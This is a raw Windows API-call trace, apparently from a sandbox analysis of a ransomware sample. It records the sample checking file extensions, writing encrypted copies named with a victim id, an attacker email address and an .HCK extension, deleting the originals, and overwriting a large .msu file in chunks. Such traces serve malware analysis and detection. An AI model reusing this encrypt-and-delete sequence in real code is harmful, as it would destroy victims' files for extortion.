[0150.779] CloseHandle (hObject=0x2f4) returned 1 [0150.779] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x80) returned 1 [0151.248] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x64.msi")) returned 1 [0151.248] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi") returned 38 [0151.248] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi") returned 38 [0151.248] lstrlenW (lpString=".doc") returned 4 [0151.248] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0151.248] lstrlenW (lpString=".docx") returned 5 [0151.248] lstrcmpiW (lpString1=".docx", lpString2="4.msi") returned -1 [0151.248] lstrlenW (lpString=".pdf") returned 4 [0151.248] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0151.248] lstrlenW (lpString=".xls") returned 4 [0151.248] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0151.248] lstrlenW (lpString=".xlsx") returned 5 [0151.248] lstrcmpiW (lpString1=".xlsx", lpString2="4.msi") returned -1 [0151.248] lstrlenW (lpString=".ppt") returned 4 [0151.248] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0151.248] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi") returned 38 [0151.248] lstrlenW (lpString=".zip") returned 4 [0151.248] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0151.249] lstrlenW (lpString=".rar") returned 4 [0151.249] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0151.249] lstrlenW (lpString=".bz2") returned 4 [0151.249] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0151.249] lstrlenW (lpString=".7z") returned 3 [0151.249] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0151.249] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi") returned 38 [0151.249] lstrlenW (lpString=".dbf") returned 4 [0151.249] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0151.249] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi") returned 38 [0151.249] lstrlenW (lpString=".1cd") returned 4 [0151.249] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0151.249] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi") returned 38 [0151.249] lstrlenW (lpString=".jpg") returned 4 [0151.249] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0151.249] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi") returned 38 [0151.249] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi") returned 38 [0151.249] lstrlenW (lpString=".doc") returned 4 [0151.249] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0151.249] lstrlenW (lpString=".docx") returned 5 [0151.249] lstrcmpiW (lpString1=".docx", lpString2="4.msi") returned -1 [0151.249] lstrlenW (lpString=".pdf") returned 4 [0151.249] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0151.249] lstrlenW (lpString=".xls") returned 4 [0151.249] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0151.249] lstrlenW (lpString=".xlsx") returned 5 [0151.249] lstrcmpiW (lpString1=".xlsx", lpString2="4.msi") returned -1 [0151.249] lstrlenW (lpString=".ppt") returned 4 [0151.249] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0151.249] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi") returned 38 [0151.249] lstrlenW (lpString=".zip") returned 4 [0151.249] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0151.249] lstrlenW (lpString=".rar") returned 4 [0151.249] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0151.249] lstrlenW (lpString=".bz2") returned 4 [0151.249] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0151.249] lstrlenW (lpString=".7z") returned 3 [0151.249] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0151.249] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi") returned 38 [0151.249] lstrlenW (lpString=".dbf") returned 4 [0151.249] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0151.249] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi") returned 38 [0151.249] lstrlenW (lpString=".1cd") returned 4 [0151.249] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0151.249] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi") returned 38 [0151.250] lstrlenW (lpString=".jpg") returned 4 [0151.250] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0151.250] lstrcmpiW (lpString1=".exe", lpString2=".HCK") returned -1 [0151.250] lstrlenW (lpString="Setup.exe") returned 9 [0151.250] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Setup.exe" (normalized: "c:\\588bce7c90097ed212\\setup.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0151.250] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=78152) returned 1 [0151.250] CloseHandle (hObject=0x2ec) returned 1 [0151.250] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Setup.exe" (normalized: "c:\\588bce7c90097ed212\\setup.exe")) returned 0x80 [0151.250] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Setup.exe.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\588bce7c90097ed212\\setup.exe.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0151.250] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Setup.exe" (normalized: "c:\\588bce7c90097ed212\\setup.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0151.250] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0151.250] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0151.250] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Setup.exe.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\588bce7c90097ed212\\setup.exe.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0151.250] GetLastError () returned 0x0 [0151.251] ReadFile (in: hFile=0x2ec, lpBuffer=0x3902020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3902020*, lpNumberOfBytesRead=0x2d4fecc*=0x13148, lpOverlapped=0x0) returned 1 [0151.268] WriteFile (in: hFile=0x308, lpBuffer=0x3902020*, nNumberOfBytesToWrite=0x13150, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3902020*, lpNumberOfBytesWritten=0x2d4fc94*=0x13150, lpOverlapped=0x0) returned 1 [0151.269] ReadFile (in: hFile=0x2ec, lpBuffer=0x3902020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3902020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1 [0151.269] WriteFile (in: hFile=0x308, lpBuffer=0x3902020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3902020*, lpNumberOfBytesWritten=0x2d4fc94*=0xe6, lpOverlapped=0x0) returned 1 [0151.269] SetEndOfFile (hFile=0x308) returned 1 [0151.269] CloseHandle (hObject=0x308) returned 1 [0151.271] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0151.271] SetEndOfFile (hFile=0x2ec) returned 1 [0151.272] CloseHandle (hObject=0x2ec) returned 1 [0151.272] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Setup.exe.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x80) returned 1 [0151.273] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Setup.exe" (normalized: "c:\\588bce7c90097ed212\\setup.exe")) returned 1 [0151.273] lstrlenW (lpString="C:\\588bce7c90097ed212\\Setup.exe") returned 31 [0151.273] lstrlenW (lpString="C:\\588bce7c90097ed212\\Setup.exe") returned 31 [0151.273] lstrlenW (lpString=".doc") returned 4 [0151.273] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0151.273] lstrlenW (lpString=".docx") returned 5 [0151.273] lstrcmpiW (lpString1=".docx", lpString2="p.exe") returned -1 [0151.273] lstrlenW (lpString=".pdf") returned 4 [0151.273] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0151.273] lstrlenW (lpString=".xls") returned 4 [0151.273] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0151.273] lstrlenW (lpString=".xlsx") returned 5 [0151.273] lstrcmpiW (lpString1=".xlsx", lpString2="p.exe") returned -1 [0151.273] lstrlenW (lpString=".ppt") returned 4 [0151.273] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0151.273] lstrlenW (lpString="C:\\588bce7c90097ed212\\Setup.exe") returned 31 [0151.273] lstrlenW (lpString=".zip") returned 4 [0151.273] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0151.273] lstrlenW (lpString=".rar") returned 4 [0151.273] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0151.273] lstrlenW (lpString=".bz2") returned 4 [0151.273] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0151.273] lstrlenW (lpString=".7z") returned 3 [0151.273] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0151.273] lstrlenW (lpString="C:\\588bce7c90097ed212\\Setup.exe") returned 31 [0151.273] lstrlenW (lpString=".dbf") returned 4 [0151.273] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0151.273] lstrlenW (lpString="C:\\588bce7c90097ed212\\Setup.exe") returned 31 [0151.273] lstrlenW (lpString=".1cd") returned 4 [0151.273] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0151.273] lstrlenW (lpString="C:\\588bce7c90097ed212\\Setup.exe") returned 31 [0151.273] lstrlenW (lpString=".jpg") returned 4 [0151.274] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0151.274] lstrlenW (lpString="C:\\588bce7c90097ed212\\Setup.exe") returned 31 [0151.274] lstrlenW (lpString="C:\\588bce7c90097ed212\\Setup.exe") returned 31 [0151.274] lstrlenW (lpString=".doc") returned 4 [0151.274] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0151.274] lstrlenW (lpString=".docx") returned 5 [0151.274] lstrcmpiW (lpString1=".docx", lpString2="p.exe") returned -1 [0151.274] lstrlenW (lpString=".pdf") returned 4 [0151.274] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0151.274] lstrlenW (lpString=".xls") returned 4 [0151.274] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0151.274] lstrlenW (lpString=".xlsx") returned 5 [0151.274] lstrcmpiW (lpString1=".xlsx", lpString2="p.exe") returned -1 [0151.274] lstrlenW (lpString=".ppt") returned 4 [0151.274] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0151.274] lstrlenW (lpString="C:\\588bce7c90097ed212\\Setup.exe") returned 31 [0151.274] lstrlenW (lpString=".zip") returned 4 [0151.274] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0151.274] lstrlenW (lpString=".rar") returned 4 [0151.274] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0151.274] lstrlenW (lpString=".bz2") returned 4 [0151.274] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0151.274] lstrlenW (lpString=".7z") returned 3 [0151.274] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0151.274] lstrlenW (lpString="C:\\588bce7c90097ed212\\Setup.exe") returned 31 [0151.274] lstrlenW (lpString=".dbf") returned 4 [0151.274] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0151.274] lstrlenW (lpString="C:\\588bce7c90097ed212\\Setup.exe") returned 31 [0151.274] lstrlenW (lpString=".1cd") returned 4 [0151.274] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0151.274] lstrlenW (lpString="C:\\588bce7c90097ed212\\Setup.exe") returned 31 [0151.274] lstrlenW (lpString=".jpg") returned 4 [0151.274] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0151.274] lstrcmpiW (lpString1=".dll", lpString2=".HCK") returned -1 [0151.274] lstrlenW (lpString="SetupEngine.dll") returned 15 [0151.274] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SetupEngine.dll" (normalized: "c:\\588bce7c90097ed212\\setupengine.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0151.274] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=807256) returned 1 [0151.274] CloseHandle (hObject=0x2ec) returned 1 [0151.275] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SetupEngine.dll" (normalized: "c:\\588bce7c90097ed212\\setupengine.dll")) returned 0x80 [0151.275] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SetupEngine.dll.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\588bce7c90097ed212\\setupengine.dll.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0151.275] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SetupEngine.dll" (normalized: "c:\\588bce7c90097ed212\\setupengine.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0151.275] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0151.275] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0151.275] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SetupEngine.dll.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\588bce7c90097ed212\\setupengine.dll.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0151.275] GetLastError () returned 0x0 [0151.275] ReadFile (in: hFile=0x2ec, lpBuffer=0x3902020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3902020*, lpNumberOfBytesRead=0x2d4fecc*=0xc5158, lpOverlapped=0x0) returned 1 [0151.292] WriteFile (in: hFile=0x308, lpBuffer=0x3902020*, nNumberOfBytesToWrite=0xc5160, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3902020*, lpNumberOfBytesWritten=0x2d4fc94*=0xc5160, lpOverlapped=0x0) returned 1 [0151.781] ReadFile (in: hFile=0x2ec, lpBuffer=0x3902020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3902020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1 [0151.781] WriteFile (in: hFile=0x308, lpBuffer=0x3902020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3902020*, lpNumberOfBytesWritten=0x2d4fc94*=0xf2, lpOverlapped=0x0) returned 1 [0151.781] SetEndOfFile (hFile=0x308) returned 1 [0151.781] CloseHandle (hObject=0x308) returned 1 [0151.792] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0151.792] SetEndOfFile (hFile=0x2ec) returned 1 [0151.798] CloseHandle (hObject=0x2ec) returned 1 [0151.798] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SetupEngine.dll.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x80) returned 1 [0151.798] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\SetupEngine.dll" (normalized: "c:\\588bce7c90097ed212\\setupengine.dll")) returned 1 [0151.798] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupEngine.dll") returned 37 [0151.799] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupEngine.dll") returned 37 [0151.799] lstrlenW (lpString=".doc") returned 4 [0151.799] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0151.799] lstrlenW (lpString=".docx") returned 5 [0151.799] lstrcmpiW (lpString1=".docx", lpString2="e.dll") returned -1 [0151.799] lstrlenW (lpString=".pdf") returned 4 [0151.799] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0151.799] lstrlenW (lpString=".xls") returned 4 [0151.799] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0151.799] lstrlenW (lpString=".xlsx") returned 5 [0151.799] lstrcmpiW (lpString1=".xlsx", lpString2="e.dll") returned -1 [0151.799] lstrlenW (lpString=".ppt") returned 4 [0151.799] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0151.799] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupEngine.dll") returned 37 [0151.799] lstrlenW (lpString=".zip") returned 4 [0151.799] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0151.799] lstrlenW (lpString=".rar") returned 4 [0151.799] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0151.799] lstrlenW (lpString=".bz2") returned 4 [0151.799] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0151.799] lstrlenW (lpString=".7z") returned 3 [0151.799] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0151.799] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupEngine.dll") returned 37 [0151.799] lstrlenW (lpString=".dbf") returned 4 [0151.799] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0151.799] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupEngine.dll") returned 37 [0151.799] lstrlenW (lpString=".1cd") returned 4 [0151.799] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0151.799] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupEngine.dll") returned 37 [0151.799] lstrlenW (lpString=".jpg") returned 4 [0151.799] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0151.799] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupEngine.dll") returned 37 [0151.799] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupEngine.dll") returned 37 [0151.799] lstrlenW (lpString=".doc") returned 4 [0151.799] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0151.799] lstrlenW (lpString=".docx") returned 5 [0151.799] lstrcmpiW (lpString1=".docx", lpString2="e.dll") returned -1 [0151.799] lstrlenW (lpString=".pdf") returned 4 [0151.799] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0151.799] lstrlenW (lpString=".xls") returned 4 [0151.799] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0151.799] lstrlenW (lpString=".xlsx") returned 5 [0151.799] lstrcmpiW (lpString1=".xlsx", lpString2="e.dll") returned -1 [0151.799] lstrlenW (lpString=".ppt") returned 4 [0151.799] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0151.799] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupEngine.dll") returned 37 [0151.799] lstrlenW (lpString=".zip") returned 4 [0151.799] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0151.799] lstrlenW (lpString=".rar") returned 4 [0151.800] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0151.800] lstrlenW (lpString=".bz2") returned 4 [0151.800] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0151.800] lstrlenW (lpString=".7z") returned 3 [0151.800] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0151.800] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupEngine.dll") returned 37 [0151.800] lstrlenW (lpString=".dbf") returned 4 [0151.800] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0151.800] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupEngine.dll") returned 37 [0151.800] lstrlenW (lpString=".1cd") returned 4 [0151.800] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0151.800] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupEngine.dll") returned 37 [0151.800] lstrlenW (lpString=".jpg") returned 4 [0151.800] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0151.800] lstrcmpiW (lpString1=".msu", lpString2=".HCK") returned 1 [0151.800] lstrlenW (lpString="Windows6.0-KB956250-v6001-x86.msu") returned 33 [0151.800] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x86.msu"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0151.800] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=2192672) returned 1 [0151.800] CloseHandle (hObject=0x2ec) returned 1 [0151.801] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x86.msu")) returned 0x80 [0151.801] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x86.msu.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0151.801] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x86.msu"), lpNewFileName="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x86.msu.id-b4197730.[cavefat@tuta.io].hck")) returned 1 [0151.802] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x86.msu.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0151.802] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fc64 | out: lpNewFilePointer=0x0) returned 1 [0151.802] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fc24 | out: lpNewFilePointer=0x0) returned 1 [0151.802] ReadFile (in: hFile=0x2ec, lpBuffer=0x3902058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2d4fc30, lpOverlapped=0x0 | out: lpBuffer=0x3902058*, lpNumberOfBytesRead=0x2d4fc30*=0x40000, lpOverlapped=0x0) returned 1 [0151.806] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0xb270a, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fc24 | out: lpNewFilePointer=0x0) returned 1 [0151.806] ReadFile (in: hFile=0x2ec, lpBuffer=0x3942058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2d4fc30, lpOverlapped=0x0 | out: lpBuffer=0x3942058*, lpNumberOfBytesRead=0x2d4fc30*=0x40000, lpOverlapped=0x0) returned 1 [0151.810] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2d4fc64 | out: lpNewFilePointer=0xffffffff) returned 1 [0151.810] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x1d7520, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fc24 | out: lpNewFilePointer=0x0) returned 1 [0151.810] ReadFile (in: hFile=0x2ec, lpBuffer=0x3982058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2d4fc30, lpOverlapped=0x0 | out: lpBuffer=0x3982058*, lpNumberOfBytesRead=0x2d4fc30*=0x40000, lpOverlapped=0x0) returned 1 [0151.831] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0151.832] WriteFile (in: hFile=0x2ec, lpBuffer=0x3902020*, nNumberOfBytesToWrite=0xc012e, lpNumberOfBytesWritten=0x2d4fca8, lpOverlapped=0x0 | out: lpBuffer=0x3902020*, lpNumberOfBytesWritten=0x2d4fca8*=0xc012e, lpOverlapped=0x0) returned 1 [0152.263] SetEndOfFile (hFile=0x2ec) returned 1 [0152.263] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x40000) returned 0x3e46038 [0152.267] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fc74 | out: lpNewFilePointer=0x0) returned 1 [0152.267] WriteFile (in: hFile=0x2ec, lpBuffer=0x3e46038*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2d4fc80, lpOverlapped=0x0 | out: lpBuffer=0x3e46038*, lpNumberOfBytesWritten=0x2d4fc80*=0x40000, lpOverlapped=0x0) returned 1 [0152.268] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0xb270a, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fc74 | out: lpNewFilePointer=0x0) returned 1 [0152.268] WriteFile (in: hFile=0x2ec, lpBuffer=0x3e46038*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2d4fc80, lpOverlapped=0x0 | out: lpBuffer=0x3e46038*, lpNumberOfBytesWritten=0x2d4fc80*=0x40000, lpOverlapped=0x0) returned 1 [0152.270] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x1d7520, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fc74 | out: lpNewFilePointer=0x0) returned 1 [0152.270] WriteFile (in: hFile=0x2ec, lpBuffer=0x3e46038*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2d4fc80, lpOverlapped=0x0 | out: lpBuffer=0x3e46038*, lpNumberOfBytesWritten=0x2d4fc80*=0x40000, lpOverlapped=0x0) returned 1 [0152.271] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x3e46038 | out: hHeap=0x6b0000) returned 1 [0152.272] CloseHandle (hObject=0x2ec) returned 1 [0152.536] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x80) returned 1 [0152.558] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu") returned 55 [0152.558] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu") returned 55 [0152.558] lstrlenW (lpString=".doc") returned 4 [0152.558] lstrcmpiW (lpString1=".doc", lpString2=".msu") returned -1 [0152.558] lstrlenW (lpString=".docx") returned 5 [0152.558] lstrcmpiW (lpString1=".docx", lpString2="6.msu") returned -1 [0152.558] lstrlenW (lpString=".pdf") returned 4 [0152.558] lstrcmpiW (lpString1=".pdf", lpString2=".msu") returned 1 [0152.558] lstrlenW (lpString=".xls") returned 